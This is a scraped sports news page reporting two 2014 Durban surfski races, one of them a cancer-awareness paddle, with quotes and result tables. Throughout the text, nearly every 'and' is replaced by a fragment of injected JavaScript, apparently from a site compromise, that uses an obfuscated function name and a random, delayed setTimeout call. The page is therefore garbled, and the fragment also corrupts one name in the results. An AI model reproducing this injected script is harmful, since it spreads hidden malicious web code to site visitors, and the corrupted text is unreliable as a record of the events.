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    CMH Inandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anda Dam to Durban

    Written by Barry Lewin on . Posted in Racing

    Lettie Paddle Surfski Challenge turns Durban’s waters pink

    Written by Barry Lewin on . Posted in SurfSki Events

    Durban – With a major bout of Dusi Canoe Marathon fever doing the rounds, the sixth race of the 2014 Varsity College Marine Surfski Series unfolded in a sea of pink as Durban’s paddlers showed their support for the popular Lettie Paddle campaign on Tuesday 11 February.

    The Lettie Paddle Surfski Challenge saw Durban’s summer surfski series affiliate itself with a charitable cause for the first time andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and saw Epic Kayak’s powerhouse Matt Bouman andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and series female standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andout Michelle Burn claim comfortable victories in the men’s andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and women’s clashes respectively.

    The Lettie Paddle campaign was started by surfski paddler Danica Bartho when she tackled the testing Richards Bay to Durban race in support of her good friend andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fellow paddler Nikki ‘Lettie’ Heynes who is currently fighting against cancer.

    Bartho’s aim was to both funds andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and awareness of the deadly disease whilst also encouraging fellow paddlers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the general public alike to take up a challenge in support of someone they know battling against cancer.

    Clad in pink, the colour now commonly associated with cancer awareness, paddlers took up Bartho’s challenge on Tuesday evening andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, fittingly, did so in testing conditions, Mother Nature’s metaphor for the challenge those battling cancer are faced with daily, perhaps.

    “It is fantastic to welcome Lettie Paddle to our series andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we are honoured to be able to support such a great initiative,” said series organiser Barry Lewin.

    “Lettie Paddle is a campaign by a paddler for a paddler andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it’s great that some of the rest of the paddling fraternity are able to show their support as well!

    “The amount of pink clothing, pink hair spray andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and pink boat stickers we saw this evening just goes to show how close to the hearts of paddlers the Lettie Paddle campaign is andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we look forward to working with the initiative closely in the future,” he added.

    With regular men’s star Fenn/Team Jeep’s Hank McGregor absent from the line-up as he turns his focus towards the Dusi temporarily, the Umhlanga powerhouse Bouman claimed a comfortable victory despite the tricky conditions.

    “That was fun but definitely quite tough!” said Bouman. “There weren’t really any runs out there that were of much assistance. They kind of all over the place.”

    Bouman cruised home ahead of Varsity College/Team Jeep’s Grant van der Walt while Wade Krieger, having recently returned home after many years on the Australian lifesaving Iron Man circuit, finishing third, overcoming the potent combination of huge surf, testing swells andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the never-ending threat of bluebottles brought in by the North Easterly.

    Fenn/Team Jeep’s Burn claimed her fifth victory of the series andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is now just a single positive result away from yet another series title with as many as four opportunities to achieve her desired result.

    Nikki Russell fought hard against the elements to clinch second place with Bartho claiming a brave third.

    Two of EuroSteel’s countless Dusi K2 combinations enjoyed successfully final pre-race hit-outs with Wayne Wilson andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Shaun Dias winning the doubles category, finishing ahead of Mark Mulder andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Dave Chaplin while Ryan Atkins andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Julie Cornelius’ sublime run continued in the mixed doubles division.

    Friday 21 February sees the DionWired Surfski Challenge, race seven of the 2014 Varsity College Marine Surfski Series, takes place at 17h30 at Addington Beach. More info can be found atwww.marineseries.co.za

    SUMMARY OF RESULTS – LETTIE PADDLE SURFSKI CHALLENGE
    RACE SIX OF THE VARSITY COLLEGE MARINE SURFSKI SERIES

    LONG COURSE
    Overall
    1.Matt Bouman 28.14
    2.Grant van der Walt 28.48
    3.Wade Krieger 29.44
    4.Jean Luc Mauvis 29.51
    5.Clint Pretorius 30.14

    Women
    1.Michelle Burn 32.46
    2.Nicole Russell 34.16
    3.Danica Bartho 36.25

    Junior Boys
    1.Jordan Clauson 34.03
    2.Keagan Kok 36.06
    3.Brett Wilken (U16) 37.29

    Doubles
    1.Wayne Wilson/Shaun Dias 29.40
    2.Mark Mulder/Dave Chaplin 30.22
    3.Barry Lewin/Lee Furby 30.26

    Mixed Doubles
    1.Ryan Atkins/Julie Cornelius 33.55

    SHORT COURSE
    Singles
    1.Sipho Luthuli 22.47
    2.Graham Hooper 25.10
    3.Dylan Riddle 26.50

    Doubles
    1.Jody Taylor/Duane Taylor 21.28
    2.John Cherry/R Rautenbach 22.25
    3.Geoffrey Speirs/Nic Tingle 26.44

    Burn blazes win number four

    Written by Barry Lewin on . Posted in SurfSki Events

    Durban – Canoe Marathon World Champion Hank McGregor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and South African women’s surfski standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andout Michelle Burn’s dominance of the 2014 Varsity College Marine Surfski Series continued in Friday’s Bay Union Surfski Challenge, race five of the ten-leg series, as they stormed to their fourth victories of competition.

    With the rapid growth of women’s surfski paddling in the region, competition amongst KZN’s female stars has also enjoyed a sharp rise in recent years. This increased level of competition amongst the ladies, coupled with a poor start, did however see Burn having to dig far deeper than she had hoped.

    “It was nice to get my fourth win of the series but that was much harder than necessary!” chuckled Burn (Fenn/Team Jeep) afterwards.

    “I had the worst start ever! I was the last person off the beach because I just wasn’t ready andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and so, by the time we got out to the first buoy, the other girls already had about 50 meters on me!

    “It was great to see so many girls back on the water again but that also meant I really had to work hard to get back up to them!”

    “I’d taken a bit of time off at the start of the year but the other girls have been getting just a little too close recently so I started training again this week. Hopefully that will help in a couple of weeks’ time but I really had to work hard this week,” she added light-heartedly.

    A North Easterly wind in the hours leading up to the event meant paddlers had to deal with tricky yet enjoyable conditions however the early exertion meant it wasn’t until the second half of the race that Burn was able to take advantage of the open ocean runs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and stamp her authority on the encounter.

    “Once I finally managed to catch Nikki (Russell) I decided to just sit on her wave for a while to try andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and recover andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and only then did I manage to get ahead a little later in the race,” said Burn.

    “The North Easter meant conditions were really fun. It was quite tricky going into the wind but I really enjoyed the stretch back from North Beach to Marine,” she added.

    Having led the women’s clash initially, Russell crossed the line to claim second place with Danica Bartho (Fenn/Bartho Fish Co.) finishing third.

    Like Burn, McGregor (Fenn/Team Jeep) claimed his fourth victory of the series after he cruised home ahead of Matt Bouman (Epic Kayaks) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Grant van der Walt (Varsity College/Epic Kayaks) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and now requires just two more positive results from the remaining five races in order to win yet another series title.

    Wayne Wilson andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Shaun Dias regained the top step of the podium in the doubles category after they edged out Dusi Canoe Marathon combo Adam Nisbet andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Len Jenkins while Ryan Atkins andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Julie Cornelius stormed to yet another mixed doubles race win.

    With the widely anticipated Dusi Canoe Marathon set to take place from Thursday 13 to Saturday 15 February, race six of the series – the Lettie Paddle Surfski Challenge – will instead take place on Tuesday 11 February at 17h30 at Addington Beach.

    The series’ affiliation with Lettie Paddle, an initiative started by Danica Bartho in support of her good friend andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fellow paddler Nikki Heynes currently fighting against cancer, is the first charitable cause the series has enjoyed andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and one series organiser Barry Lewin is extremely excited by.

    “The Lettie Paddle initiative is one very close to the hearts of many of our paddlers in KZN andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we are really looking forward to welcoming the campaign to the series for the first time on Tuesday,” said Lewin.

    “Tuesday is all about paddlers showing their support of others they know who are currently fighting the fight against cancer as well as raising awareness about the deadly disease.

    “Paddlers are encouraged to really go to town on Tuesday andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and dress up in pink paddling gear. Pink Funky Pants paddling shorts can also be purchased ahead of the race which, together with wigs, accessories andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and anything else pink, will really be great to see out on the water!” he added.

    SUMMARY OF RESULTS – BAY UNION SURFSKI CHALLENGE
    RACE FIVE OF THE VARSITY COLLEGE MARINE SURFSKI SERIES

    LONG COURSE
    Overall
    1.Hank McGregor 33.23
    2.Matt Bouman 33.41
    3.Grant van der Walt 35.00
    4.Barry Lewin 36.17
    5.Herman Chalupsky 36.35

    Women
    1.Michelle Burn 40.21
    2.Nicole Russell 41.20
    3.Danica Bartho 42.20

    Junior Boys
    1.Jordan Clauson 39.03
    2.Keagan Kok 43.06
    3.Joshua Evered-Hall 43.59

    Doubles
    1.Wayne Wilson/Shaun Dias 34.01
    2.Adam Nisbet/Len Jenkins 34.09
    3.Brett Bartho/Wayne Thompson 34.11

    Mixed Doubles
    1.Ryan Atkins/Julie Cornelius 38.47
    2.Paul Scruby/Angela Scruby 40.52
    3.Bruce Jackson/Lindy Bradshaw 45.04

    SHORT COURSE
    Singles
    1.Sipho Luthuli 23.53
    2.Mitchel Tees 26.31
    3.Christopher Walthew 26.40

    Doubles
    1.Craig Stuart/Jon Wiseman 22.20
    2.Savannah van Rooyen/Luke 22.56
    3.Thandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando Thusi/Lauren Coleby 24.32

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